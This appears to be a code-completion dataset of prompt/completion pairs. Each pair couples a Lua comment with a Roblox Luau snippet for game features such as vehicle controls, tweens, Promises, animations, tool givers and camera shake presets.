prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Write function setters: (Calling outside a write function will throw an error)
|
function Replica:SetValue(path, value)
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
ReplicaSetValue(self.Id, path_array, value)
end
function Replica:SetValues(path, values)
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
ReplicaSetValues(self.Id, path_array, values)
end
function Replica:ArrayInsert(path, value) --> new_index
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
return ReplicaArrayInsert(self.Id, path_array, value)
end
function Replica:ArraySet(path, index, value)
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
ReplicaArraySet(self.Id, path_array, index, value)
end
function Replica:ArrayRemove(path, index) --> removed_value
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
return ReplicaArrayRemove(self.Id, path_array, index)
end
function Replica:Write(function_name, ...) --> return_params...
if WriteFunctionFlag == false then
error(SETTINGS.SetterError)
end
local func_id = self._write_lib_dictionary[function_name]
local return_params = table.pack(self._write_lib[func_id](self, ...))
-- Signaling listeners:
local listeners = self._function_listeners[func_id]
if listeners ~= nil then
for _, listener in ipairs(listeners) do
listener(...)
end
end
return table.unpack(return_params)
end
|
-- Services
|
local RunService = game:GetService("RunService")
|
--made by Bertox
--lul
|
local ts = game:GetService("TweenService")
local fadeDRL = TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local fadeDRL2 = TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local goal = {}
local goal2 = {}
local F = {}
local car = script.Parent.Parent.Parent.Parent
script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function()
if script.Parent.Parent.Parent.Parent.Electrics.Value == true then
drlFade(true)
else
drlFade(false)
end
end)
function drlFade(bool)
if bool then
goal2.Transparency = 0.2
local a = ts:Create(car.Body.DRLs.DRL, fadeDRL, goal2)
a:Play()
else
goal2.Transparency = 1
local a = ts:Create(car.Body.DRLs.DRL, fadeDRL, goal2)
a:Play()
end
end
F.drlFade = function(bool)
drlFade(bool)
end
|
-------------------------------------------------------------------------
|
local function FlashRed(object)
local origColor = object.BrickColor
local redColor = BrickColor.new("Really red")
local start = tick()
local duration = 4
spawn(function()
while object and tick() - start < duration do
object.BrickColor = origColor
wait(0.13)
if object then
object.BrickColor = redColor
end
wait(0.13)
end
end)
end
|
--Balance Brick
|
local bal = Instance.new("Part",bike.Body)
bal.Anchored = true
bal.CanCollide = false
if _Tune.BalVisible or _Tune.Debug then bal.Transparency = .75 else bal.Transparency = 1 end
bal.Name = "bal"
bal.Position = (fWheel.CFrame.p+rWheel.CFrame.p)/2
bal.Orientation = fWheel.Orientation
bal.CFrame = bal.CFrame - (Vector3.new((rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2,(rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2,(rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2)*bal.CFrame.upVector)
bal.Size = Vector3.new(.05,.05,.05)
|
--back motor
|
script.Parent.Wheels.boggieF.motb.HingeConstraint.AngularVelocity = speed
script.Parent.Wheels.boggieF.motb.HingeConstraint2.AngularVelocity = -speed
script.Parent.Wheels.boggieF.motb.HingeConstraint.MotorMaxTorque = RPM
script.Parent.Wheels.boggieF.motb.HingeConstraint2.MotorMaxTorque = RPM
|
--StarterPlayerScripts
|
local plr = game:GetService("Players").LocalPlayer
game:GetService("RunService").Heartbeat:Connect(function()
plr.Character:WaitForChild("Humanoid").CameraOffset = Vector3.new(plr.Character:WaitForChild("Humanoid").CameraOffset.X,plr.Character:WaitForChild("Humanoid").CameraOffset.Y, -1)--Edit Only The Last Number Value
end)
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild('Roact'))
local new = Roact.createElement
|
------------------------------------------
|
local mps = game:GetService("MarketplaceService")
local music = game.Workspace:WaitForChild("Sound")
local requester = workspace.Requester
|
--local bodyPosition = Instance.new("BodyPosition", car.Chassis)
--bodyPosition.MaxForce = Vector3.new()
--local bodyGyro = Instance.new("BodyGyro", car.Chassis)
--bodyGyro.MaxTorque = Vector3.new()
|
local function UpdateThruster(thruster)
-- Raycasting
local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car)
local thrusterHeight = (position - thruster.Position).magnitude
-- Wheel
local wheelWeld = thruster:FindFirstChild("WheelWeld")
wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)
-- Wheel turning
local offset = car.Chassis.CFrame:inverse() * thruster.CFrame
local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)
if offset.Z < 0 then
local direction = 1
if speed.Z > 0 then
direction = -1
end
wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)
end
-- Particles
if hit and thruster.Velocity.magnitude >= 5 then
wheelWeld.Part1.ParticleEmitter.Enabled = true
else
wheelWeld.Part1.ParticleEmitter.Enabled = false
end
end
car.Event.OnServerEvent:Connect(function(Player)
if Player and Player.Character then
if (Player.Character.HumanoidRootPart.Position-car.DriveSeat.Position).magnitude <= car.Configurations.Range.Value then
if not HasDriver then
car.DriveSeat:Sit(Player.Character.Humanoid)
end
end
end
end)
car.DriveSeat.Changed:connect(function(property)
if property == "Occupant" then
if car.DriveSeat.Occupant then
car.EngineBlock.Running.Pitch = 1
car.EngineBlock.Running:Play()
local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent)
if player then
HasDriver = true
car.DriveSeat:SetNetworkOwner(player)
local localCarScript = script.LocalCarScript:Clone()
localCarScript.Parent = player.PlayerGui
localCarScript.Car.Value = car
localCarScript.Disabled = false
end
else
HasDriver = false
car.EngineBlock.Running:Stop()
end
end
end)
|
--CMDR.Registry:RegisterHook("AfterRun", function(context)
-- local MessageData = {
-- ["content"] = "**" .. context.Executor.Name .. "** ran command `"..context.RawText.."`"
-- }
| |
-- creates a mask with 'n' 1 bits at position 'p'
-- MASK1(n,p) deleted, not required
-- creates a mask with 'n' 0 bits at position 'p'
-- MASK0(n,p) deleted, not required
| |
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.PieBomb -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--// B_arocena
|
local _C = {}
function _C.RemoveHat(hts)
for i=1, #hts do
if (hts[i].className == "Accessory") or (hts[i].className == "Hat") then
hts[i]:remove()
end
end
end
function _C.ShirtPant (Outfit,Player,CClass)
if CClass.Current.Value < CClass.Max.Value then
if Player.Class.Current_Class.Value == "None" then
if Outfit.Shirt.Value ~= 0 then
Player.Character:WaitForChild("Shirt"):destroy()
game:GetService("InsertService"):LoadAsset(Outfit.Shirt.Value).Shirt.Parent = Player.Character
end
if Outfit.Pant.Value ~= 0 then
Player.Character:WaitForChild("Pants"):destroy()
game:GetService("InsertService"):LoadAsset(Outfit.Pant.Value).Pants.Parent = Player.Character
end
end
end
end
function _C.GiveHat (s,CSYS,Player,Outfit,CClass)
if CClass.Current.Value < CClass.Max.Value then
if Player.Class.Current_Class.Value == "None" then
if s.Value ~= "" then
local g = CSYS.HATS[s.Value]:clone()
g.Parent = Player.Character
local C = g:GetChildren()
for i=1, #C do
if C[i]:IsA("BasePart") then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
g.Middle.Transparency = 1
end
local Y = Instance.new("Weld")
local Result = (s.Value):match("BACKPACK")
if Result == nil then
Y.Part0 = Player.Character.Head
else
Y.Part0 = Player.Character.Torso
end
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
end
end
function _C.giveclass (CClass,Player,CLNAME,Tools,Gui)
if CClass.Current.Value < CClass.Max.Value then
if Player.Class.Current_Class.Value == "None" then
Player.Class.Current_Class.Value = CLNAME
CClass.Current.Value = CClass.Current.Value + 1
for i = 1, #Tools do
Tools[i]:Clone().Parent = Player.Backpack
end
Gui:Destroy()
end
end
end
return _C
|
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GThrotShift=1
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _TCSAmt = 0
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
-----------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------
|
PainKillerQnt.Text = PainKiller.Value
BandageQnt.Text = Bandage.Value
EnergyShotQnt.Text = EnergyShot.Value
EpinephrineQnt.Text = Epinephrine.Value
MorphineQnt.Text = Morphine.Value
SplintQnt.Text = Splint.Value
TourniquetQnt.Text = Tourniquet.Value
PainKiller.Changed:Connect(function()
PainKillerQnt.Text = PainKiller.Value
end)
Bandage.Changed:Connect(function()
BandageQnt.Text = Bandage.Value
end)
Splint.Changed:Connect(function()
SplintQnt.Text = Splint.Value
end)
Tourniquet.Changed:Connect(function()
TourniquetQnt.Text = Tourniquet.Value
end)
EnergyShot.Changed:Connect(function()
EnergyShotQnt.Text = EnergyShot.Value
end)
Epinephrine.Changed:Connect(function()
EpinephrineQnt.Text = Epinephrine.Value
end)
Morphine.Changed:Connect(function()
MorphineQnt.Text = Morphine.Value
end)
SacoDeSangue.Changed:Connect(function()
SacoDeSangueQnt.Text = SacoDeSangue.Value
end)
Target.Changed:Connect(function(Valor)
if Valor == nil then
PTexto.Text = player.Name
else
PTexto.Text = Valor.Name
end
end)
|
------------------------------------------------------------------------
--
-- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield()
------------------------------------------------------------------------
|
function luaK:setlist(fs, base, nelems, tostore)
local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1
local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore
assert(tostore ~= 0)
if c <= luaP.MAXARG_C then
self:codeABC(fs, "OP_SETLIST", base, b, c)
else
self:codeABC(fs, "OP_SETLIST", base, b, 0)
self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline)
end
fs.freereg = base + 1 -- free registers with list values
end
return function(a) luaY = a return luaK end
|
-- connect events
|
Enemy.Died:connect(onDied)
Enemy.Running:connect(onRunning)
Enemy.Jumping:connect(onJumping)
Enemy.Climbing:connect(onClimbing)
Enemy.GettingUp:connect(onGettingUp)
Enemy.FreeFalling:connect(onFreeFall)
Enemy.FallingDown:connect(onFallingDown)
Enemy.Seated:connect(onSeated)
Enemy.PlatformStanding:connect(onPlatformStanding)
Enemy.Swimming:connect(onSwimming)
|
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]
|
for x = 50, 120 do
s:play()
wait(0.001)
end
for x = 50, 120 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end
|
--[[
All configurations are located in the "Settings" Module script.
Please don't edit this script unless you know what you're doing.
--]]
|
local Tycoons = {}
local RebirthSettings = require(script.Parent.SaveTrigger.Settings)
local Teams = game:GetService('Teams')
local Settings = require(script.Parent.Settings)
local BC = BrickColor
local playerMoney = game:GetService("ServerStorage"):FindFirstChild("PlayerMoney")
local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager"))
print("Running Core_Handler_New-----------")
if playerMoney == nil then
print("playerMoney == nil ------------")
local Storage = Instance.new('Folder', game.ServerStorage)
Storage.Name = "PlayerMoney"
end
Instance.new('Model',workspace).Name = "PartStorage" -- parts dropped go in here to be killed >:)
function returnColorTaken(color)
for i,v in pairs(Teams:GetChildren()) do
if v:IsA('Team') then
if v.TeamColor == color then
return true
end
end
end
return false
end
|
-- main:
|
physicsService:CreateCollisionGroup("Characters")
physicsService:CollisionGroupSetCollidable("Characters", "Characters", false)
players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(handleCharacter)
end)
for i, v in pairs(game.ReplicatedStorage.Enemys:GetChildren()) do
if v:IsA("Model") then
handleNPcs(v)
end
end
for i, v in pairs(game.ReplicatedStorage.Units:GetChildren()) do
if v:IsA("Model") then
handleNPcs(v)
end
end
|
-- RCM Settings V
|
self.WeaponWeight = 4 -- Weapon weight must be enabled in the Config module
self.ShellEjectionMod = true
self.Holster = true
self.HolsterPoint = "Torso"
self.HolsterCFrame = CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75))
self.FlashChance = 4 -- 0 = no muzzle flash, 10 = Always muzzle flash
self.ADSEnabled = { -- Ignore this setting if not using an ADS Mesh
true, -- Enabled for primary sight
false} -- Enabled for secondary sight (T)
self.ExplosiveAmmo = false -- Enables explosive ammo
self.ExplosionRadius = 70 -- Radius of explosion damage in studs
self.ExplosionType = "Default" -- Which explosion effect is used from the HITFX Explosion folder
self.IsLauncher = true -- For RPG style rocket launchers
self.EjectionOverride = nil -- Don't touch unless you know what you're doing with Vector3s
return self
|
--[[
Intended for use in tests.
Similar to await(), but instead of yielding if the promise is unresolved,
_unwrap will throw. This indicates an assumption that a promise has
resolved.
]]
|
function Promise.prototype:_unwrap()
if self._status == Promise.Status.Started then
error("Promise has not resolved or rejected.", 2)
end
local success = self._status == Promise.Status.Resolved
return success, unpack(self._values, 1, self._valuesLength)
end
function Promise.prototype:_resolve(...)
if self._status ~= Promise.Status.Started then
if Promise.is((...)) then
(...):_consumerCancelled(self)
end
return
end
-- If the resolved value was a Promise, we chain onto it!
if Promise.is((...)) then
-- Without this warning, arguments sometimes mysteriously disappear
if select("#", ...) > 1 then
local message = string.format(
"When returning a Promise from andThen, extra arguments are " ..
"discarded! See:\n\n%s",
self._source
)
warn(message)
end
local chainedPromise = ...
local promise = chainedPromise:andThen(
function(...)
self:_resolve(...)
end,
function(...)
local maybeRuntimeError = chainedPromise._values[1]
-- Backwards compatibility < v2
if chainedPromise._error then
maybeRuntimeError = Error.new({
error = chainedPromise._error,
kind = Error.Kind.ExecutionError,
context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]",
})
end
if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then
return self:_reject(maybeRuntimeError:extend({
error = "This Promise was chained to a Promise that errored.",
trace = "",
context = string.format(
"The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n",
self._source
),
}))
end
self:_reject(...)
end
)
if promise._status == Promise.Status.Cancelled then
self:cancel()
elseif promise._status == Promise.Status.Started then
-- Adopt ourselves into promise for cancellation propagation.
self._parent = promise
promise._consumers[self] = true
end
return
end
self._status = Promise.Status.Resolved
self._valuesLength, self._values = pack(...)
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedResolve) do
coroutine.wrap(callback)(...)
end
self:_finalize()
end
function Promise.prototype:_reject(...)
if self._status ~= Promise.Status.Started then
return
end
self._status = Promise.Status.Rejected
self._valuesLength, self._values = pack(...)
-- If there are any rejection handlers, call those!
if not isEmpty(self._queuedReject) then
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedReject) do
coroutine.wrap(callback)(...)
end
else
-- At this point, no one was able to observe the error.
-- An error handler might still be attached if the error occurred
-- synchronously. We'll wait one tick, and if there are still no
-- observers, then we should put a message in the console.
local err = tostring((...))
coroutine.wrap(function()
Promise._timeEvent:Wait()
-- Someone observed the error, hooray!
if not self._unhandledRejection then
return
end
-- Build a reasonable message
local message = string.format(
"Unhandled Promise rejection:\n\n%s\n\n%s",
err,
self._source
)
if Promise.TEST then
-- Don't spam output when we're running tests.
return
end
warn(message)
end)()
end
self:_finalize()
end
|
-- ~60 c/s
|
game["Run Service"].Stepped:connect(function()
--RPM
RPM()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
|
--this will block all lvl 7 exploits such as Synapse-X, RC7, Protosmasher, and more including FE exploits and scripts
--just add this to server script storage
| |
-- Player
|
local localPlayer = PlayerService.LocalPlayer
local character = localPlayer.Character
|
--[=[
Provides utility functions to work with attributes in Roblox
@class AttributeUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local RunService = game:GetService("RunService")
local Maid = require("Maid")
local AttributeUtils = {}
|
--[=[
Binds the given update function to [RunService.Stepped]. See [StepUtils.bindToRenderStep] for details.
:::tip
Be sure to call the disconnect function when cleaning up, otherwise you may memory leak.
:::
@param update () -> boolean -- should return true while it needs to update
@return (...) -> () -- Connect function
@return () -> () -- Disconnect function
]=]
|
function StepUtils.bindToStepped(update)
return StepUtils.bindToSignal(RunService.Stepped, update)
end
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
local toolAnimName = ""
local toolOldAnimTrack = nil
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolOldAnimTrack = toolAnimTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--[ Activation ]:
|
coroutine.resume(coroutine.create(function()
while RunSrv.RenderStepped:wait() and Hum:GetState().Value~=15 do --[ Adding wait() here is the same as adding wait() later. ]
local CamCF = Cam.CoordinateFrame
--local MsePos = Mouse.Origin.p --[ Might do something with this in a future update... ]
if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[ Check for the Torso and Head... ]
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
if ((IsR6 and Trso["Neck"]) or Head["Neck"])~=nil then --[ Make sure the Neck still exists. ]
if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
local Dist = nil;
local Diff = nil;
if not MseGuide then --[ If not tracking the Mouse then get the Camera. ]
Dist = (Head.CFrame.p-CamCF.p).magnitude
Diff = Head.CFrame.Y-CamCF.Y
if not IsR6 then --[ R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y. ]
Neck.C0 = OrgnC0*Ang((aSin(Diff/Dist)*Fctor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y, 0)
else --[ R15s actually have the properly oriented Neck CFrame. ]
Neck.C0 = OrgnC0*Ang(-(aSin(Diff/Dist)*Fctor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y)
end
else
local _, Point = Wrks:FindPartOnRay(Ray.new(Head.CFrame.p, Mouse.Hit.lookVector), Wrks, false, true)
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
if not IsR6 then
Neck.C0 = OrgnC0*Ang(-(aTan(Diff/Dist)*Fctor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor, 0)
else
Neck.C0 = OrgnC0*Ang((aTan(Diff/Dist)*Fctor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor)
end
end
end
end
end
end
end))
|
-- Placeholder texture can be any roblox asset link
|
local initialTexture = ""
local RowCount = 1
local ColCount = 2
local perImageSpriteCount = RowCount * ColCount
local width = 256
local height = 384
local framesInTotal = 2
assert(numImages * RowCount * ColCount >= framesInTotal)
local animPeriod = 0.5 -- period for the whole animation, in seconds
assert(animPeriod > 0)
local curImageIdx = 0
local curSpriteIdx = 0
local fps = framesInTotal / animPeriod
local accumulatedTime = 0
local function AnimateImageSpriteSheet(dt)
accumulatedTime = math.fmod(accumulatedTime + dt, animPeriod)
curSpriteIdx = math.floor(accumulatedTime * fps)
local prevImageIndex = curImageIdx
curImageIdx = math.floor(curSpriteIdx / perImageSpriteCount)
if prevImageIndex ~= curImageIdx then
imageInstance.Image = imageAssetIDs[curImageIdx + 1]
end
local localSpriteIndex = curSpriteIdx - curImageIdx * perImageSpriteCount
local row = math.floor(localSpriteIndex / ColCount)
local col = localSpriteIndex - row * ColCount
imageInstance.ImageRectOffset = Vector2.new(col * width, row * height)
end
Animator.Connection = nil
Animator.Init = function()
Animator.Connection = game:GetService("RunService").RenderStepped:Connect(AnimateImageSpriteSheet)
end
Animator.Stop = function()
if Animator.Connection then
imageInstance.Image = initialTexture
Animator.Connection:Disconnect()
end
end
return Animator
|
---[[ Command/Filter Priorities ]]
|
module.VeryLowPriority = -5
module.LowPriority = 0
module.StandardPriority = 10
module.HighPriority = 20
module.VeryHighPriority = 25
module.WhisperChannelPrefix = "To "
return module
|
--Equip a title for a player
|
function functions.EquipTitle(plr: Player, titleName: string)
local plrStats = plr.leaderstats
local plrTitles = plrStats.Titles
local plrEquippedTitle = plrStats.EquippedTitle
if plrTitles:FindFirstChild(titleName) then
functions.UnequipTitle(plr)
plrEquippedTitle.Value = titleName
functions.CreateBillboardGui(plr)
end
end
|
-- Local Functions
|
local function CreateRocket()
local rocketCopy = RocketTemplate:Clone()
rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value)
rocketCopy.Parent = Storage
rocketCopy.PrimaryPart:SetNetworkOwner(Owner)
if(Owner) then
rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor
end
table.insert(Buffer, rocketCopy)
end
local function IntializeBuffer()
for i = 1, Configurations.BufferSize.Value do
CreateRocket()
end
end
local function RemoveFromBuffer(rocket)
for i = 1, #Buffer do
if Buffer[i] == rocket then
table.remove(Buffer, i)
return
end
end
end
local function ResetRocketOwner()
for _, rocket in ipairs(Buffer) do
rocket.PrimaryPart:SetNetworkOwner(Owner)
if(Owner) then
rocket.PrimaryPart.BrickColor = Owner.TeamColor
end
end
end
local function OnExplosionHit(part, distance)
local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent)
if not player then
if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then
local volume = part.Size.X * part.Size.Y * part.Size.Z
if volume <= Configurations.MaxDestroyVolume.Value then
if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then
part:BreakJoints()
end
if part.Parent.Name == "Rocket" then
RemoveFromBuffer(part.Parent)
end
if #part:GetChildren() == 0 then
wait(2 * volume)
part:Destroy()
end
end
end
end
end
local function OnRocketHit(player, rocket, position)
local explosion = Instance.new('Explosion', game.Workspace)
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.DestroyJointRadiusPercent = 0
explosion.BlastRadius = Configurations.BlastRadius.Value
explosion.BlastPressure = Configurations.BlastPressure.Value
explosion.Position = position
rocket.Part.Fire.Enabled = false
wait(1)
rocket:Destroy()
end
local function OnChanged(property)
if property == 'Parent' then
if Tool.Parent.Name == 'Backpack' then
local backpack = Tool.Parent
Owner = backpack.Parent
elseif Players:GetPlayerFromCharacter(Tool.Parent) then
Owner = Players:GetPlayerFromCharacter(Tool.Parent)
else
Owner = nil
end
ResetRocketOwner()
end
end
local function OnFireRocket(player, rocket)
rocket.Rocket.Transparency = 0
rocket.Part.Fire.Enabled = true
CreateRocket()
end
local function DamagePlayer(hitPlayerId, player, damage)
local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId))
if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then
local humanoid = hitPlayer.Character:FindFirstChild('Humanoid')
if humanoid then
humanoid:TakeDamage(damage)
end
end
end
local function OnHitPlayers(player, hitPlayers)
for hitPlayerId, _ in pairs(hitPlayers) do
DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value)
end
end
local function OnDirectHitPlayer(player, hitPlayerId)
DamagePlayer(hitPlayerId, player, Configurations.Damage.Value)
end
|
--Please edit the parts you'd like to change
|
wait(0.1)
local indicatorOn = BrickColor.new("Deep orange") --The color when the indicators are on.
local indicatorOff = BrickColor.new("Bright orange") --The color when the indicators are off.
local headlightOff = BrickColor.new("Institutional white") --The color when the headlights are off
local headlightLow = BrickColor.new("Institutional white") --The color when the low beams are on
local headlightHi = BrickColor.new("Institutional white") --The color when the hi beams are on
local reverseOn = BrickColor.new("Institutional white") --The color when in reverse
local reverseOff = BrickColor.new("Mid gray") --The color when not in reverse
local brakelightOn = BrickColor.new("Really red") --The color when the brakes are on
local brakelightOff = BrickColor.new("Maroon") --The color when the brakes are off
local rearrunOn = BrickColor.new("Bright red") --The color when the rear running lights are on
local rearrunOff = BrickColor.new("Maroon") --The color when the rear running lights are off
|
-- ROBLOX deviation: skipping path
-- local path = require("path")
|
local WIN_SLASH = "\\\\/"
local WIN_NO_SLASH = ("[^%s]"):format(WIN_SLASH)
|
--//services//--
|
local tweenService = game:GetService("TweenService")
|
-- create a holder for our bar
|
local frame = Instance.new("Frame", screenGui)
frame.AnchorPoint = Vector2.new(0.5, 0.5)
frame.Position = UDim2.new(0.5, 0, 0.5, 0)
frame.Size = UDim2.new(0.3, 0, 0.05, 0)
|
-- Variables
|
local Constructor = {}
local Index, NewIndex
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local u1 = require(script.Parent.CameraShakeInstance);
function v1.Bump()
local v2 = u1.new(2.5, 4, 0.1, 0.75);
v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
v2.RotationInfluence = Vector3.new(1, 1, 1);
return v2;
end;
function v1.BigBump()
local v3 = u1.new(2.5, 4, 0.1, 0.75);
v3.PositionInfluence = Vector3.new(0.8, 0.8, 0.8);
v3.RotationInfluence = Vector3.new(1, 1, 1);
return v3;
end;
function v1.SmallBump()
local v4 = u1.new(2.5, 4, 0.1, 0.75);
v4.PositionInfluence = Vector3.new(0.01, 0.01, 0.01);
v4.RotationInfluence = Vector3.new(0.5, 0.5, 0.5);
return v4;
end;
function v1.Explosion()
local v5 = u1.new(5, 10, 0, 1.5);
v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
v5.RotationInfluence = Vector3.new(4, 1, 1);
return v5;
end;
function v1.BumpRemaked()
local v6 = u1.new(2, 5, 0, 1);
v6.PositionInfluence = Vector3.new(0.2, 0.2, 0.2);
v6.RotationInfluence = Vector3.new(3, 1, 1);
return v6;
end;
function v1.BigExplosion()
local v7 = u1.new(20, 40, 0, 2);
v7.PositionInfluence = Vector3.new(0.55, 0.55, 0.55);
v7.RotationInfluence = Vector3.new(5, 2, 2);
return v7;
end;
